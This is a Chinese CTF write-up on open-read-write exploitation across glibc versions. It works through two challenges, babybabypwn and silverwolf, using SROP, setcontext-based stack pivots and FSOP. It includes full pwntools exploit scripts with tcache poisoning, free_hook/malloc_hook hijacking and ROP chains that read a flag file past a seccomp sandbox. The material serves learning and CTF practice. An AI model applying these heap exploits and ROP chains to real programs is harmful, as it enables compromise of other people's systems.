ORW的几种做法

ORW的几种做法

这篇文章主要是总结一下不同glibc版本ORW的做法,参考题目是VN 2020 公开赛 babybabypwn和CISCN 2021 初赛 silverwolf,题目附件

SROP

首先先介绍一下SROP的做法,这里举babybabypwn的例子,具体的原理可以参考ctf-wiki,这里主要记录一下做题时我应该注意的细节。
目前pwntools集成了srop攻击,我们可以构造如下的结构,frame.rip就是执行完sigreturn后要执行的指令,frame.rsp就是执行完frame.rip后要执行的指令,而frame要放在执行sigreturn时rsp指向的位置

1
2
3
4
5
6
frame=SigreturnFrame()
frame.rsp=bss
frame.rdx=0x200
frame.rsi=bss
frame.rdi=0
frame.rip=r


题目很简单,往buf处读入数据,然后syscall(15)也就是调用sys_rt_sigreturn,所以我们的思路就是往buf处读入frame,然后执行完sigreturn后执行frame.rip也就是read函数将ORW链读入,frame.rdi,frame.rsi,frame.rdx时read的三个参数,具体代表什么意思可以参考这里,也就是在bss处读入0x200个数据,frame.rsp相当于执行完read函数后跳转到bss处执行。

exp中我们sla('message:',bytes(frame)[8:])是因为调用syscall(15)的时候,rsp会-8,此时rsp指向的buf-8的位置,而我们前面提到frame要放在sigreturn时rsp的位置,而前8位的作用不大,所以我们可以省略前8位,这样在执行sigreturn时才能获得正确的frame。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

io = process('./babybabypwn')

#gdb.attach(io)

context.log_level = 'debug'

context.arch = "amd64"

e = ELF('./babybabypwn')

libc = e.libc

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
sea = lambda delim,data :io.sendafter(delim, data)
rc = lambda numb=4096 :io.recv(numb)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))

def leak_address():
if(context.arch=='i386'):
return u32(io.recv(4))
else :
return u64(io.recv(6).ljust(8,b'\x00'))

a = ru("gift: ")

log.success(a)

puts_addr = ru("\n")

log.success("puts_addr: " + str(puts_addr))

libc_base = eval(puts_addr) - libc.sym['puts']

log.success("libc_base: " + str(libc_base))


bss = libc_base + 0x3c6140

o=libc_base+libc.sym['open']
r=libc_base+libc.sym['read']
w=libc_base+libc.sym['puts']
e=libc_base+libc.sym['exit']

frame=SigreturnFrame()
frame.rsp=bss
frame.rdx=0x200
frame.rsi=bss
frame.rdi=0
frame.rip=r

sla('message:',bytes(frame)[8:])


pop_rdi = libc_base + 0x0000000000021112
pop_rsi = libc_base + 0x00000000000202f8
pop_rdx = libc_base + 0x0000000000001b92

payload = p64(pop_rdi)+p64(bss+0x100)+p64(pop_rsi)+p64(2)+p64(o)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(0x100)+p64(r)
payload += p64(pop_rdi)+p64(bss+0x100)+p64(w)
sl(payload.ljust(0x100,b'\x00')+b'./flag\x00')



io.interactive()

利用setcontext

2.27

setcontext函数存在一段通过rdi来给各种寄存器赋值的指令,可以造成类似于SROP这样的利用,一般我们要跳转到setcontext+53的位置,因为前面的fledenv指令会造成程序crash。那么我们如何利用呢,我们在frame中设置rsp,rip,rdi,rsi,rdx,然后就可以用setcontext(frame)的方式,比如说将free_hook改为setcontext,然后free(frame),此时frame的地址就是rdi,因此我们在frame中设置rsp,rip,rdi,rsi,rdx的就会被赋值当相应的寄存器中(frame.rsi就相当于[rdi+70h],它们的位置是一一对应的,前提是我们要将frame设置为参数,也就是free(frame),此时frame的地址就是rdi)。

这里的例题用CISCN 2021 初赛 silverwolf。经典菜单题,这里的Index其实没有用,所以我们只能对最新malloc的堆块进行edit或者show,并且申请的堆块的大小不能超过0x78,这也是比较恶心的一点。

我们首先肯定想泄露libc_base,所以我们应该先想办法将释放的堆块释放到unsortedbin中,因为tcache的存在,所以应该先攻击tcache perthread。所以第一步先泄露heap_base。

1
2
3
4
5
6
7
8
9
10
11
for i in range(6):
new(0x78)
new(0x78)
delete(0)
delete(0)
show(0)

ru("Content: ")
addr = leak_address()
log.success("addr = "+str(hex(addr)))
tcache_addr = addr - 0xfa0

然后我们修改fd到tcache perthread处,然后将所有的tcache链的数量都修改为7,这样再释放的时候就会将堆块释放到unsortedbin中,然后show即可泄露libc_base。

1
2
3
4
5
6
7
8
9
10
11
12
new(0x78)
edit(0, p64(tcache_addr+0x10))
new(0x78)
new(0x78)
edit(0, '\x07'*64)
delete(0)
show(0)
ru("Content: ")
malloc_hook_addr = leak_address() - 0x70
log.success("malloc_hook_addr = " + str(hex(malloc_hook_addr)))

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']

然后我们要想办法将frame塞进堆块中,为了保证我们申请到的堆块的地址可控,我们同样改写tcache perthread的entries[i]

1
edit(0, b'\x07'*64+p64(free_hook_addr)+p64(0x30)+p64(0x40)+p64(0x50)+p64(bss_addr+0x2d0)+p64(bss_addr+0x200)+p64(bss_addr+0x260))

这里我们是将申请的堆块劫持到bss段,然后在bss_addr+0x200处写入我们的frame,为什么是p64(bss_addr+0x2d0)+p64(bss_addr+0x200)+p64(bss_addr+0x260)呢,是因为每次申请的堆块大小不能大于0x78,所以我们分三次写入,并且要先申请bss_addr+0x2d0,再申请bss_addr+0x260,再申请bss_addr+0x200,这是因为要覆盖掉chunk_head,并且释放的时候释放的是bss_addr+0x200的位置。
然后劫持free_hook为setcontext+53,free(bss_addr+0x200)。

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rip = r
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x140
frame.rsp = bss_addr

setcontext函数执行完后会跳转到read函数,read函数执行完后跳转到bss_addr处,bss_addr处就是read函数读入的ORW链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
o=libc_base+libc.sym['open']
sys_addr = libc_base + 0x11B837
r=libc_base+libc.sym['read']
w=libc_base+libc.sym['write']

pop_rdi = libc_base+0x000000000002155f
pop_rsi = libc_base+0x0000000000023e6a
pop_rdx = libc_base+0x0000000000001b96
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x120
pop_rax = libc_base + 0x439c8

rop = p64(pop_rdi) + p64(flag_addr)
rop += p64(pop_rsi) + p64(2)
rop += p64(pop_rax) + p64(2)
rop += p64(sys_addr)

rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x30)
rop += p64(r)

rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x30)
rop += p64(w)

为什么open不直接用libc_base+libc.sym[‘open’]呢,是因为调用open函数最终调用的是sys_openat,沙箱禁掉了这个函数,会造成bad system call。所以我们调用syscall,然后将rax设为2。需要注意的一点是./flag后必须跟上\x00,否则会打开文件失败。

2.29

2.29之后setcontext赋值从rdi变成了rdx,因此我们需要找到一条指令将rdi的值赋给rdx,这里选择mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]的gadget,也就是脚本中的magic_addr,因此需要设置如下的frame(frame的前几位没什么用,所以我们用一些其他数据去占位也没什么事),这样的话就会将bss_addr+0x200的值赋给rdx,然后跳转到setcontext+53的位置。这里是将magic_addr所需要用到的参数和frame合并了。
edit(0, b'a'*8+p64(bss_addr+0x200)+b'a'*0x10+p64(setcontext_addr+53)+bytes(frame)[0x28:0x60])

其他的和2.27的exp一样

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from pwn import *

io = process('./wolf')

gdb.attach(io)

context.log_level = 'debug'

context.arch = "amd64"

e = ELF('./wolf')

libc = e.libc

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
sea = lambda delim,data :io.sendafter(delim, data)
rc = lambda numb=4096 :io.recv(numb)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))

def leak_address():
if(context.arch=='i386'):
return u32(io.recv(4))
else :
return u64(io.recv(6).ljust(8,b'\x00'))


def new(size):
sla("Your choice: ", '1')
sla("Index: ", '0')
sla("Size: ", str(size))


def edit(idx, content):
sla("Your choice: ", '2')
sla("Index: ", str(idx))
sla("Content: ", content)


def show(idx):
sla("Your choice: ", '3')
sla("Index: ", str(idx))


def delete(idx):
sla("Your choice: ", '4')
sla("Index: ", str(idx))

# for i in range(6):
# new(0x78)
# new(0x78)
# delete(0)
# raw_input()
# delete(0)

# raw_input()
# show(0)

new(0x78)
delete(0)
show(0)


ru("Content: ")
addr = leak_address()
log.success("addr = "+str(hex(addr)))


tcache_addr = addr - 0x11b0

for i in range(6):
new(0x78)

new(0x78)
delete(0)
edit(0, p64(tcache_addr+0x10))

new(0x78)
new(0x78)

edit(0, '\x07'*64)
delete(0)
show(0)
ru("Content: ")

malloc_hook_addr = leak_address() - 0x70
log.success("malloc_hook_addr = " + str(hex(malloc_hook_addr)))

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
setcontext_addr = libc_base + libc.sym['setcontext']
free_hook_addr = libc_base + libc.sym['__free_hook']


o=libc_base+libc.sym['open']
sys_addr = libc_base + 0x1172E7
r=libc_base+libc.sym['read']
w=libc_base+libc.sym['write']

pop_rdi = libc_base+0x0000000000026542
pop_rsi = libc_base+0x0000000000026f9e
pop_rdx = libc_base+0x000000000012bda6
bss_addr = libc_base + libc.bss()
magic_addr = libc_base + 0x150550
flag_addr = bss_addr + 0x120
pop_rax = libc_base + 0x0000000000047cf8

rop = p64(pop_rdi) + p64(flag_addr)
rop += p64(pop_rsi) + p64(2)
rop += p64(pop_rax) + p64(2)
rop += p64(sys_addr)

rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x30)
rop += p64(r)

rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x30)
rop += p64(w)

log.success("rop_length = "+str(hex(len(rop))))
log.success("bss_start_addr = "+str(hex(libc.bss())))
#bss_addr = libc_base + libc.bss()

frame = SigreturnFrame()
frame.rip = r
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x140
frame.rsp = bss_addr

rop = rop.ljust(0x120, b'\x00') + b'./flag\x00'



edit(0, b'\x07'*64+p64(free_hook_addr)+p64(0x30)+p64(0x40)+p64(0x50)+p64(bss_addr+0x2d0)+p64(bss_addr+0x200)+p64(bss_addr+0x260))

#raw_input()

new(0x10)
edit(0, p64(magic_addr))

new(0x50)
edit(0, bytes(frame)[0xc0:])

new(0x70)
edit(0, bytes(frame)[0x60:0x60+0x70])

new(0x60)
edit(0, b'a'*8+p64(bss_addr+0x200)+b'a'*0x10+p64(setcontext_addr+53)+bytes(frame)[0x28:0x60])

raw_input()

delete(0)


sl(rop)


io.interactive()

FSOP

具体的原理可以参考ctf-wiki,更高版本的利用方法可以参考https://www.cnblogs.com/7resp4ss/p/16677936.html
https://squarepants0.github.io/2020/11/07/io-file-glibc2-24/#toc-heading-3
我们还拿2.29版本的silverwolf举例,因为在libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer和_s._free_buffer,而是直接用malloc和free代替,所以我们这里还是得劫持malloc_hook,从而在执行IO_str_jumps中的malloc时跳转到setcontext+53处

为什么这里不用考虑把rdi的值赋给rdx呢,是因为在IO_str_overflows函数中malloc的前面存在 mov rdx, [rdi+28h]的语句。malloc的参数为new_size,new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0,_IO_buf_end = (bin_sh_addr - 100) // 2。而这里我们用不到这个参数(没有沙箱的话可以劫持malloc_hook为system,参数为/bin/sh),所以写0也可以,不过在脚本中我还是写了。

这里我们是把伪造的IO和frame柔和在一起都放在了bss_addr+0x200处,它们之间并不相互影响,在伪造stdout这个IO的时候一定要注意将数据放在正确的位置上。绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW,而这里_IO_write_ptr就是bss_addt+0x200,是为了 mov rdx, [rdi+28h]。IO_str_overflows的参数是fp,也就是bss_addr+0x200。

脚本中libc_base+0x1e56e8就是stderr中的chain域,修改它为我们伪造的IO的bss_addr+0x200处,不能用libc.sym[‘_IO_str_jumps’]的原因是找不到这个符号,我们可以用gdb调试p &_IO_str_jumps然后减去libc_base来获得它的地址。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
from pwn import *

io = process('./wolf')

gdb.attach(io)

context.log_level = 'debug'

context.arch = "amd64"

e = ELF('./wolf')

libc = e.libc

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
sea = lambda delim,data :io.sendafter(delim, data)
rc = lambda numb=4096 :io.recv(numb)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))

def leak_address():
if(context.arch=='i386'):
return u32(io.recv(4))
else :
return u64(io.recv(6).ljust(8,b'\x00'))


def new(size):
sla("Your choice: ", '1')
sla("Index: ", '0')
sla("Size: ", str(size))


def edit(idx, content):
sla("Your choice: ", '2')
sla("Index: ", str(idx))
sla("Content: ", content)


def show(idx):
sla("Your choice: ", '3')
sla("Index: ", str(idx))


def delete(idx):
sla("Your choice: ", '4')
sla("Index: ", str(idx))

def exit_main():
sla("Your choice: ", '5')

# for i in range(6):
# new(0x78)
# new(0x78)
# delete(0)
# raw_input()
# delete(0)

# raw_input()
# show(0)

new(0x78)
delete(0)
show(0)


ru("Content: ")
addr = leak_address()
log.success("addr = "+str(hex(addr)))


tcache_addr = addr - 0x11b0

for i in range(6):
new(0x78)

new(0x78)
delete(0)
edit(0, p64(tcache_addr+0x10))

new(0x78)
new(0x78)

edit(0, '\x07'*64)
delete(0)
show(0)
ru("Content: ")

malloc_hook_addr = leak_address() - 0x70
log.success("malloc_hook_addr = " + str(hex(malloc_hook_addr)))

libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
setcontext_addr = libc_base + libc.sym['setcontext']
free_hook_addr = libc_base + libc.sym['__free_hook']


o=libc_base+libc.sym['open']
sys_addr = libc_base + 0x1172E7
r=libc_base+libc.sym['read']
w=libc_base+libc.sym['write']

pop_rdi = libc_base+0x0000000000026542
pop_rsi = libc_base+0x0000000000026f9e
pop_rdx = libc_base+0x000000000012bda6
bss_addr = libc_base + libc.bss()
magic_addr = libc_base + 0x150550
flag_addr = bss_addr + 0x120
pop_rax = libc_base + 0x0000000000047cf8

rop = p64(pop_rdi) + p64(flag_addr)
rop += p64(pop_rsi) + p64(2)
rop += p64(pop_rax) + p64(2)
rop += p64(sys_addr)

rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x30)
rop += p64(r)

rop += p64(pop_rdi) + p64(1)
rop += p64(pop_rsi) + p64(flag_addr)
rop += p64(pop_rdx) + p64(0x30)
rop += p64(w)

log.success("rop_length = "+str(hex(len(rop))))
log.success("bss_start_addr = "+str(hex(libc.bss())))
#bss_addr = libc_base + libc.bss()

frame = SigreturnFrame()
frame.rip = r
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x140
frame.rsp = bss_addr

rop = rop.ljust(0x120, b'\x00') + b'./flag\x00'


# 20 30 40 50 60 70 80
edit(0, b'\x07'*64+p64(malloc_hook_addr)+p64(bss_addr+0x4d8)+p64(libc_base+0x1e56e8)+p64(bss_addr+0x428)+p64(bss_addr+0x2d0)+p64(bss_addr+0x200)+p64(bss_addr+0x260))

#raw_input()

# new(0x10)
# edit(0, p64(setcontext_addr+53))

# raw_input()
IO_str_jumps = libc_base + 0x1e6620

new(0x50)
edit(0, bytes(frame)[0xc0:0xc8]+p64(IO_str_jumps)+bytes(frame)[0xD0:])

new(0x70)
edit(0, bytes(frame)[0x60:0x60+0x70])

new(0x60)
#edit(0, b'a'*28+p64(bss_addr+0x200)+bytes(frame)[0x30:0x60])
#edit(0,b'\x00'*0x28+p64(bss_addr+0x200)+b'\x00'*0x10+p64(((bss_addr+0x200)-100)//2)+bytes(frame)[0x48:0x60])
edit(0,b'\x00'*0x28+p64(bss_addr+0x200)+b'\x00'*0x18+bytes(frame)[0x48:0x60])


#raw_input()
#delete(0)


#sl(rop)

IO_str_jumps = libc_base + 0x1e6620

#fake_io = '\x00'*0x28
fake_io1 = p64(1)
fake_io1 += p64(0)
fake_io1 += p64(0)
fake_io1 += p64(((bss_addr+0x200)-100)//2)
#fake_io += fake_io.ljust(0xD8, '\x00')
fake_io2 = p64(IO_str_jumps)

#new(0x40)
#edit(0, fake_io1)

#new(0x20)
#edit(0, fake_io2)

new(0x30)
edit(0,p64(bss_addr+0x200))

raw_input()

#raw_input()

new(0x10)
edit(0, p64(setcontext_addr+53))


exit_main()
sl(rop)

io.interactive()

参考

PWN-ORW总结
ctf-wiki
https://www.cnblogs.com/7resp4ss/p/16677936.html
https://squarepants0.github.io/2020/11/07/io-file-glibc2-24/#toc-heading-3


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!